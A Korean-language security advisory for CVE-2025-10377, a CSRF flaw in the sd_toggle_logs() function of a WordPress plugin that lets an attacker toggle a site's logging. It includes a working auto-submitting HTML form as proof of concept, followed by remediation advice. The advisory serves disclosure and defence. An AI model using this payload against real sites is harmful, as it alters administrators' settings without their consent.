
CVE-2025-10377
취약점 유형: 사이트 간 요청 위조 (CSRF)
영향을 받는 함수: sd_toggle_logs()
CVSS v3.1: 4.3 (중간)
Vector: AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N
(참고: 점수는 관리자 피해자와 사용자 상호작용이 필요한 승인되지 않은 상태 변경을 반영합니다.)
취약점 설명:
sd_toggle_logs() 함수는 페이지 접근 로그, 오류 로그, 이메일 전송 로그의 활성화/비활성화와 같은 민감한 작업을 처리합니다. 그러나 CSRF 보호(예: check_admin_referer() 또는 nonce)를 구현하지 않고 $_REQUEST['log_type'] 매개변수와 권한 확인 (current_user_can( 'manage_options' ))에만 의존합니다.
결과적으로 공격자는 로그인한 관리자가 피해자 페이지를 방문하도록 유도하여, 무단으로 사이트 로깅의 활성화/비활성화 변경을 초래하는 조작된 요청을 자동으로 제출하게 할 수 있습니다.
사이트 로깅 기능(페이지 접근 로그, 오류 로그, 이메일 전송 로그)의 승인되지 않은 상태 변경.
오류 로깅이 활성화되면 사이트는 플러그인이 결정한 파일 경로에 애플리케이션 오류를 기록하기 시작할 수 있습니다(로그를 통한 운영 정보 노출 가능성 증가). 그러나 이 문제의 직접적인 영향은 상태 전환 자체입니다.
manage_options 권한이 있는 로그인한 사용자가 공격자의 페이지를 방문하면, 명시적인 동의 없이 해당 로깅 기능이 전환됩니다.
<body>
<form action="http://victim.com/wordpress/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="sd_toggle_logs" />
<input type="hidden" name="log_type" value="errors_log" />
<input type="hidden" name="fast_ajax" value="true" />
<input type="hidden" name="load_plugins[]" value="system-dashboard/system-dashboard.php" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
WordPress nonce(check_admin_referer() 또는 wp_verify_nonce())를 구현하여 요청을 검증합니다.
민감한 작업을 POST 요청으로만 제한합니다.
CSRF 보호를 위해 권한 확인에만 의존하지 않습니다.
보고서에 설명된 대로 문제를 정확히 재현할 수 없는 경우, 다음 동영상 데모(PoC)를 참조하여 명확한 재현 시나리오를 확인하세요.